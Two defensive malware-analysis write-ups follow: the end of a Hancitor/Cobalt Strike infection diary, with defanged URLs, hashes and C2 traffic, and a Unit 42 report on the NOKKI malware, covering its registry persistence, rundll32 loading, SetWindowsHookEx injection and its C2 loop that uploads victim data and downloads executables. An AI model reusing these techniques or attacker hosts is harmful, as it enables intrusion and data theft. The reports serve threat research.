- hxxps://docs.google[.]com/document/d/e/2PACX-1vT_UMMUFR8J8IbN7rthTdttvciBU-17slZ2anuIq4A-8zT4xtF9ngzzyiEjlE8HSDZQ5tWu_w6HBFMf/pub
- hxxps://docs.google[.]com/document/d/e/2PACX-1vQgYON0ZqbynIRhybfOxzkN8jUzIa-DkiYp-KOTxKzhFaDt2miDJBp14XJw8lMPHtU1tkIXDcwquIr-/pub
**URLs that returned script to create the Word docs:**
- hxxp://savortrading[.]com/toweringly.php
- hxxps://libifield.co[.]za/figs.php
- hxxps://expertcircles[.]co[.]uk/assotiation.php
- hxxps://libifield[.]co[.]za/oilcan.php
- hxxp://3.133.244[.]105/irs.php
**8 examples of downloaded Word docs (read: SHA256 hash - file name):**
- 080bade36015dd79925bab0975ac0f30f18424bdd1e7836d63c2dee350bdbd69 - 0112_528419802.doc
- 2ac3b573d70c40c5c0fafe4e5914c723f2322a1c9cd76d232447654604ff8b76 - 0112_929792452.doc
- 385425e94ed8ac21d7888550743b7a2b89afbeb51341713adb6da89cd63b5aff - 0112_203089882.doc
- 7b013a271432cc9dea449ea9fcf727ed3caf7ce4cc6a9ba014b3dd880b5668dd - 0112_1079750132.doc
- 8bcf45c2de07f322b8efb959e3cef38fb9983fdb8b932c527321fd3db5e444c8 - 0112_1005636132.doc
- cab2a47456a2c51504a79ff24116a4db3800b099ec50d0ebea20c2c77739276d - 0112_722674781.doc
- d6755718c70e20345c85d18c5411b67c99da5b2f8740d63221038c1d35ccc0b8 - 0112_153569242.doc
- ed3fa9e193f75e97c02c48f5c7377ff7a76b827082fdbfb9d6803e1f7bd633ca - 0112_114086062.doc
**Note:** Each of the above files is 753,152 bytes in size.
**SHA256 for 8 examples of DLL files dropped by the Word docs:**
- 00b2312dd63960434d09962ad3e3e7203374421b687658bd3c02f194b172bfe3
- 0941090d3eb785dbf88fbfafffad34c4ab42877b279129616a455347883e5738
- 43690eaf47245d69f4bda877c562852e4a9715955c2160345cb6cc84b18ca907
- 82c9bc479ea92c1900422666792877e00256996ce2f931984115598ed2c26f23
- 878319795a84ebfe5122d6fc21d27b4b94b3c28ad66679f841dec28ccc05e801
- c3e06473c4c3d801c962e6c90ccbcab3d532fb5a6649077ea09cd989edf45eaf
- cdcd5ee8b80d3a3863e0c55d4af5384522144011b071d00c9c71ae009305f130
- edabef17fce2aaca61dbd17a57baf780cd82a2b0189b0cf3c5a7a3ca07e94a44
**Note 1:** Each of the above files is 570,368 bytes in size.
**Note 2:** Each file was saved at C:\Users\[username]\AppData\Roaming\Microsoft\Templates\W0rd.dll
**Traffic to retrieve the Word doc:**
- port 443 - docs.google.com - HTTPS traffic
- 104.31.80[.]93 port 80 - savortrading[.]com - GET /sacrifice.php
**Hancitor post-infection traffic:**
- port 80 - api.ipify.org - GET /
- 185.87.194[.]148 port 80 - fruciand[.]com - POST /8/forum.php
**Binaries used to infect host with Cobalt Strike:**
- 47.254.175[.]0 port 80 - steroidi[.]pro - GET /2112.bin
- 47.254.175[.]0 port 80 - steroidi[.]pro - GET /2112s.bin
**Cobalt Strike Post-infection traffic:**
- 162.223.31[.]160 port 1080 - GET /GvSL
- 162.223.31[.]160 port 1080 - GET /visit.js
- 162.223.31[.]160 port 443 - HTTPS traffic
## Final Words
Hancitor has been active and evolving for years now, and it remains a notable presence in our current threat landscape. This diary reviewed a recent infection on a vulnerable Windows host from malspam sent on Tuesday 2021-01-12.
Decent spam filters and best security practices should help most people avoid Hancitor infections. Default security settings in Windows 10 and Microsoft Office 2019 should prevent these infections from happening. However, it's a "cat-and-mouse" game, with malware developers developing new ways to circumvent security measures, while vendors update their software/applications/endpoint protection to address these new developments. And malware distribution through email is apparently cheap enough to remain profitable for the criminals who use it. |
# New KONNI Malware Attacking Eurasia and Southeast Asia
**By Josh Grunzweig and Bryan Lee**
**September 27, 2018**
**Category: Unit 42**
**Tags: KONNI, NOKKI, Targeted**
## Introduction
Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named ‘NOKKI’. The malware in question has ties to a previously reported malware family named KONNI; however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI’s Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI.
Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.
The latest activity leveraging the NOKKI payload likely targets politically motivated victims in Eurasia and possibly Southeast Asia. These attacks leverage compromised legitimate infrastructure for both delivery and command and control (C2). These compromised servers are largely located within South Korea. In total, we observed two waves of attacks spanning from early 2018 to at least July 2018, which we were able to cluster via the specific network protocol used for C2. In addition, the decoy documents themselves were both created and last modified by an author named zeus. The zeus username is a recurring artifact witnessed in all of the discussed attacks in this report.
## January 2018 Attack
The earliest observed attack delivering NOKKI took place in January 2018. This attack leverages a Microsoft Windows executable file using a PDF icon in an attempt to trick the victim into launching the file. The malware sample contains the properties seen in Table 1:
- **MD5**: 48f031f8120554a5f47259666fd0ee02
- **SHA1**: 02ee6302436250e1cee1e75cf452a127b397be8d
- **SHA256**: b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311
- **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows
- **PDB String**: C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
- **Compile Timestamp**: 2018-01-26 00:14:31 UTC
- **First Encountered**: 2018-01-26 03:10:12 UTC
The malware is capable of collecting information on the victim machine, dropping, and executing a payload, as well as dropping and opening a decoy document. The malware will collect data from the victim machine and write this information to `LOCALAPPDATA%\MicroSoft Updatea\uplog.tmp`. The following information is collected from the victim:
- IP Address
- Hostname
- Username
- Drive Information
- Operating System Information
- Installed Programs
This specific function shares significant code overlap with the KONNI tool first discovered by Talos.
The NOKKI payload is written to `%LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe` prior to being executed in a new process. Persistence is achieved by writing the file path to the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svstartup` registry key.
After being executed and establishing persistence, NOKKI then connects to `101.129.1[.]104` for C2 communication via FTP. This IP does not have a domain name resolution; however, WHOis shows the IP assigned to China Central Television. The decoy document is written to the same file path as the initial dropper; however, the extension is renamed to .pdf and becomes a legitimate document. Based on the decoy document contents and language, the attack may target Cambodian speakers with an interest in Cambodian political matters.
## April 2018 Attack
In early April 2018, another attack was observed delivering the NOKKI payload. This attack leveraged a malicious executable with an .scr extension that had the original filename referring to the Russian Ministry of Foreign Affairs, and its contents can be found online. The file contains the properties as seen in Table 2:
- **MD5**: 42fbea771f3e0ff04ac0a1d09db2a45e
- **SHA1**: 2b6b6f24f58072a02f03fa04deaccce04b6bb43b
- **SHA256**: 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd
- **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows
- **PDB String**: C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
- **Compile Timestamp**: 2018-04-04 21:06:26 UTC
- **First Encountered**: 2018-04-04 12:55:38 UTC
This sample contained the same PDB string within it as the sample from January 2018. Functionally, it was nearly identical in its behavior as the previous attack. Unlike the previously witnessed attack that possibly targeted Cambodian language speakers with an interest in Cambodian political matters, the decoy document used in this attack is written in Cyrillic and contains content related to Russian political matters. Once the .scr file is executed, the NOKKI payload is installed onto the victim host, which then connects to the IP resolving to a likely compromised but legitimate South Korean science and technology university website.
A second sample was discovered in April 2018, also written in Cyrillic and containing content related to Russian political matters. This file had the following properties as seen in Table 3:
- **MD5**: 88587c43daff30cd3cc0c913a390e9df
- **SHA1**: 1cc8ceeef9a2ea4260fae03368a9d07d56e8331b
- **SHA256**: 07b90088ec02ef6757f6590a62e2a038ce769914139aff1a26b50399a31dcde9
- **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows
- **PDB String**: C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
- **Compile Timestamp**: 2018-04-24 16:42:03 UTC
- **First Encountered**: 2018-04-24 06:34:35 UTC
Again, we see consistency both in the embedded PDB string, as well as the functionality of the sample itself. This particular sample connects to an IP address to which a likely legitimate but compromised website of a research institute in South Korea resolves. This server has also likely been compromised and repurposed by the adversary.
## May 2018 Attack
In May 2018, Unit 42 observed an attack using malware with a filename of `briefinglist.exe` being downloaded from a likely compromised but legitimate South Korean website. The contents were written in Cyrillic and contained content related to Russian political matters.
This sample has the following properties as seen in Table 4:
- **MD5**: ae27e617f4197cd30cc09fe784453cd4
- **SHA1**: dc739ca07585eab7394843bc4dba2faca8e5bfe0
- **SHA256**: 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10
- **File Type**: PE32 executable (GUI) Intel 80386, for MS Windows
- **PDB String**: C:\Users\zeus\Documents\Visual Studio 2010\Projects\virus-dropper\Release\virus-dropper.pdb
- **Compile Timestamp**: 2018-04-30 17:48:08 UTC
This sample remains consistent with previous samples of NOKKI in terms of functionality and the embedded PDB string. The payload communicates with `145.14.145[.]32`, which resolves to `files.000webhost[.]com`. This same host was witnessed in previously reported KONNI malware activity.
## July 2018 Attack
In July 2018, a South Korean engineering organization was identified as compromised and hosting malware and C2 infrastructure on their webserver since at least May 2018. Again, a file in Cyrillic with a name referring to Russian political matters was being distributed from a compromised South Korean website. Unlike attacks leading up to this point, an executable file was not used as the initial malware file. Instead, this attack used a Microsoft Word document leveraging malicious macros to deliver the payload to the victim. Upon opening the file and enabling macros, the document downloaded both the payload and displayed a decoy document referencing political matters.
## NOKKI Malware Family
From the samples discussed in this blog, we were able to identify two distinct variants of NOKKI. The earlier variant witnessed in attacks between January 2018 to May 2018 made use of FTP for C2 communications. Alternatively, the newer variant witnessed since June 2018 made use of HTTP. While both variants used different network protocols for communication, they both used the same file path structure on the remote C2 server.
The older variant begins by looking for the presence of the following file: `%TEMP%\ID56SD.tmp`. If this file does not exist, the malware will generate a random string of 10 upper-case alphabetic characters. This string will ultimately be used as the victim’s identifier. It will also create the `%TEMP%\stass` file and write the value of `a` to it.
The malware continues to spawn a new thread that is responsible for network communication. Within an infinite loop, this malware will continue connecting to its C2 server via FTP. After successful connection to the C2, it will write the previously written `stass` file to the server’s `public_html` folder. It will also upload the previously created `uplog.tmp` file to the remote server. After the upload is completed, NOKKI will then delete the local copy on the infected host. Finally, NOKKI will check for the presence of the `[id]-down` file on the C2 server, where `[id]` is the 10 character alphabetic string created prior. Should this file exist, it will be downloaded and written to `%TEMP%\svchostav.exe` prior to being executed in a new process. After it is executed, the malware deletes the file on the C2 server. The malware will then sleep for 15 minutes between loops.
The newer variant operates in a slightly different manner. In this case, NOKKI begins by extracting and dropping an embedded DLL to the `%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll` path. One of two DLLs may be dropped, either a 32-bit or a 64-bit compiled option. The appropriate DLL will be dropped based on the victim host’s CPU architecture. While these DLLs are different architectures, they perform the same functions. After the DLL is written, the malware loads it via the following command-line: `rundll32.exe [%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll] install`.
Finally, the malware will write the following registry key to ensure persistence on the victim host: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qivService - C:\\Windows\\System32\\rundll32.exe "[%LOCALAPPDATA%\MicroSoft UpdateServices\Services.dll]" install`.
The payload’s install function makes a call to `SetWindowsHookEx` with a thread ID of 0, resulting in the function being injected into every GUI process running on the victim machine. This particular process is referenced in this forum post. The `DllMain` function of this payload begins by comparing the process executable name, seeking out the `explorer.exe` process. In the event it is not loaded in the context of this process, nothing occurs. If the malware is running within `explorer.exe`, it will load its own `HTTPStart` exported function, which performs the malicious actions.
It begins by writing the `ID56SD.tmp` file in its current working directory (CWD). A unique randomly chosen 10-byte alphabetic string is written to this file, which will be used as an identifier for the victim. A file named `stass` is also written in the CWD, with a single byte of `a`. The payload proceeds to enter an infinite loop, with a 15-minute delay between iterations. The loop begins by reading in the previously written `stass` file and uploading it to its embedded C2 server via HTTP. The data is encoded with base64 and uploaded via a POST parameter of `data`. Additionally, the victim’s identifier and the current timestamp are uploaded via a POST parameter of `subject`.
After this upload request is made, the malware looks for the presence of a file named `uplog.tmp`. In the event this file exists, it is uploaded via the same method as previously noted. After this file is uploaded via HTTP, the local file is deleted. While this file is not present originally in this malware sample, in other NOKKI variants, it has been observed containing the victim’s system information. The malware then looks for the presence of the `upfile.tmp` file. Again, if this file exists, it is uploaded to the remote server and the local file is deleted.
Finally, the malware will look for the presence of the following remote files, where `[id]` is the victim identifier:
- `http://mail.[removed].co[.]kr/./pds/down`
- `http://mail.[removed].co[.]kr/./pds/data/[id]-down`
If the down file is available, it is written to `%TEMP%\wirbiry2jsq3454.exe` and executed. If the `[id]-down` file is available, it is written to `%TEMP%\weewyesqsf4.exe` and executed. During execution, a remote module was downloaded from the down URL. This module is responsible for collecting the following information and writing it to the `%LOCALAPPDATA%\MicroSoft UpdateServices\uplog.tmp` file:
- IP Address
- Hostname
- Username
- Drive Information
- Operating System Information
- Installed Programs
This module acted in an identical way as the information collection function witnessed in the older variant of NOKKI.
## Comparison to KONNI
The NOKKI malware family differs from KONNI in a number of ways. Unlike KONNI, NOKKI is modular in nature, with multiple steps taken between the initial infection and the final payload(s) being delivered. Early versions of NOKKI observed between January 2018 to May 2018 used a remote FTP server to ultimately accept commands and download additional modules. While newer versions of NOKKI starting in June 2018 use HTTP, the communication is quite different from the previously reported KONNI malware, both in the URI structure and data being sent. In addition, while the KONNI samples used C2 infrastructure set up specifically by the adversary, NOKKI mostly leveraged what appeared to be likely compromised legitimate servers for their infrastructure.
| NOKKI URIs | Previously Reported KONNI URIs |
|-------------------------------------|-------------------------------------|
| /./pds/data/upload.php | /login.php |
| /./pds/data/[victim_id]-down | /upload.php |
| /./pds/down | /download.php |
| /common/exe | /weget/uploadtm.php |
| /common/doc | /weget/upload.php |
While we consider these malware families to be separate, we identified some similarities with KONNI. In addition to overlapping infrastructure between KONNI and NOKKI, a NOKKI module used to collect victim information was observed exhibiting very similar characteristics to the KONNI victim information collection function. Based on the similarities witnessed, we think it is highly probable there is some amount of code sharing and likely a single adversary group involved.
## Conclusion
The adversary operating the NOKKI malware family appears to have begun using NOKKI in January 2018 and has continued their activity through 2018. At this time, we can only speculate who these series of attacks may be attributed to based on tenuous relationships. However, there is significant evidence from our attack telemetry and victimology indicating the operator has a strong interest in specific regions of the world such as Eurasia, the Korean Peninsula, and Southeast Asia. The general tactics used to deliver NOKKI are similar in nature to the actors behind a previously identified malware, KONNI. Additionally, there are overlaps both in code and some infrastructure with previously reported KONNI activity. Unlike KONNI, however, this particular malware family makes use of compromised servers for both hosting and C2 operations.
The NOKKI malware itself has been updated in the short period of time it has been observed, moving from FTP to HTTP for C2 operations. The malware is modular in nature, and based on analysis of the information gathering module, it is highly likely the NOKKI operators are the same as the KONNI operators. Unit 42 will continue to monitor this malware family and the threat actor responsible. |